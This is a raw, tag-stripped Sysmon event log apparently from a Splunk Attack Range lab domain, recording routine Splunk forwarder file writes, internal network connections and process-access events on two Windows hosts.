14:55:04.841{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015785Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:04.841{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015784Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:04.560{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CDE879878E449713E01BD8F419506C4A,SHA256=DEDA15F21708EB381BC48BF44EB237D004864C2A745250B44FF61E50FA5835BC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:01.493{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59447-false10.0.1.12-8000- 23542300x800000000000000048075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:04.467{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=75B7F140C8F14299A8655C14812E646E,SHA256=AF3A85903E1342345E67481E08B4C3E9C775C99B0C06B10780F27DE338BDC3A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:05.498{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BBEF727C0A62EDFA1E21B36635FCBF76,SHA256=B82BECD168B9759CCEFAC2B5DBD372224890746DA7F6506F5797EAD4CCF1577E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015789Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:05.576{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2191AAE412FD02BFA26D38086F8493C3,SHA256=186C7D44213F5ECAFA4CD97D348A4CB66A07BDA5971125F547DF64CC846565F4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015788Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:03.445{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50247-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000048078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:06.670{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5E8BF20965DA3775C3A116550F152A58,SHA256=459D562E34123CAC6EF168712DDC98F62D7AF7CB691B95C01794B929412C4728,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015791Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:06.955{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-040MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015790Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:06.608{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9F77DDCA683270FF366E66DD3527FFA7,SHA256=E77E79540AD9E4C6AC5EA0296AFAF7C861DB9542180BA5B2D283E34E50859A0A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015793Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:07.954{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-041MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015792Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:07.640{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=556F11AAAE2BAC266910C647478C1799,SHA256=7AC5988017798CB0BAFE585ABBE4444A5BFCBF2C8C5D9DCEE18B307C45F0F060,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:07.685{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9E18D9149124752F82B0C4344D99BA33,SHA256=7B3CC1ACF498D81F503AEF9D37FE9E0E2AF0C327ED86585C93EBE1A9162B931D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:07.670{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=92489C5446D566C5A1D18710AFAC1043,SHA256=219D02F64DE0272A2A4D1D435D5957AA2CE80713726FBF488775EA46B9F58C79,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:07.670{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9547AB82A3FAF347DF3D4AC6F3D382C0,SHA256=7413D2E321EB2D5A9C60AD1D990FDF70330CF6BA680F030BE5FA9AAD596D584C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015794Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:08.642{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F68A5FE8F3CA6C326BE279344A4D3A45,SHA256=E0C474EF0BDF186E0159DA1273B5C7E807B57C59B75158B7D1B07C54E1989F95,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:08.701{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F6711D0255115BD088B270321334244B,SHA256=B4C6D2324F0FC35987D44918C7AA65B7A4C33F6006763AEC0EB371D38EBF7F0E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:09.716{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E20D658578D5EC84A816E0F792B761D2,SHA256=0ACE6D6D5647360845B69F2AE90CD22C0317CB151FF55D2E4A45A32E3F7E1448,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015795Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:09.657{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EBD9DE998FF63D549C0D6786574FAF1,SHA256=F5E76AD101303AE4A72CE7B6C9028112012552163436DF24C9CE80BDA3EE7D07,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:10.748{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7DD93A8718E735353D089641C728440C,SHA256=201618116C98C43694C367B28A6C605C1DCB6FE08ED0E66353E988F9B70BC003,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015796Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:10.689{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=62A0E15C09737CDE5171D1E1AF701457,SHA256=CBA5F1340075E66EE77DD33DE85CC12CC4EE5B2A820F25E20D5A1E61B905B87C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:07.509{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59448-false10.0.1.12-8000- 23542300x800000000000000048086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:11.756{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=30BBA5A26D2F1132AF314E53D41B9685,SHA256=B49A96D2FA70D381745D66374CD4E554F130A529CAE0AE95CE80EB0FB5D48A7B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015798Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:11.710{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=23C067C12FDE377D8329D998B0C0B95C,SHA256=C7FDB424874E89491348CE808C370F6EA97C163EE760C139A8A7F3B3B516E6B0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015797Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:09.355{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50248-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015799Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:12.742{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B8F97E0B082C3B424B574D87E0CF7DAF,SHA256=939CDE35BB698BB6CAD489E81BFF49B2EC4DD018D29589D18F92A691E11FBCE7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015800Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:13.757{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BFA70ED710BA6C15A83CC42E903CEA11,SHA256=F7B7ACEB2062D741B9EB6A235C53FFE219D236D04B4472CDEEE49F9CCAC8F81C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:13.006{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EA01B20B7228E235519E7A9680C9A3A6,SHA256=5DF2A7CF967BE584227B1C7F896FFA3095C6B2DDA762CD781F06C5FC7C62B2E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015801Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:14.773{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7D4712E6A69C38A1E00196D3CF757CF4,SHA256=F01E779D5256CDD83F4BDE09F496570E4E9757EC21E018B2547A539496DCD83F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:14.022{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6C19535B7D755F050FE79E7B608D6C8B,SHA256=199DB83609E52205E5E5354990B7BFA107D43CA332AD74B26600C0AFF01DE47B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015803Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:15.773{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=81ABDDC90A1EB45AE9BDBCD28BABB226,SHA256=7FB31951CE96D41DB108EF4E230676E1E5B9BBCC7E8E3A9345FE478C80711F24,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:13.409{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59449-false10.0.1.12-8000- 23542300x800000000000000048089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:15.037{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DEAB7885A63DD4A71AED201866026D8C,SHA256=8A899F4D9D53FFF4CE8D8BCED4B8242C5707104F41FDD4A9B92382FB3DEE685B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015802Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:14.392{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50249-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015804Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:16.773{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9305A9A858F9E76B32090611151C9C14,SHA256=14E0E189F8196E291EF7CDCDDE2B37FC0F35BAC8088C5035A3014DEA41CBB78B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:16.068{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=47632311AB06F67DF84CD5348C9B4B4B,SHA256=113DCDFB8F22A213C3405DBD79AA016830F09431BA39FF6A517C74DE46050D95,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015805Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:17.788{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=880F117F5D0A171DB74E6E40F6250A70,SHA256=7B2E3E68DBCC271580F0A768A34B77C105037D6A4D8C865391CAFA0874B1CA9B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.818{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-71D5-613B-350B-00000000F001}5208C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.818{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.818{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.818{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.818{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.818{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-71D5-613B-350B-00000000F001}5208C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:17.818{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-71D5-613B-350B-00000000F001}5208C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program 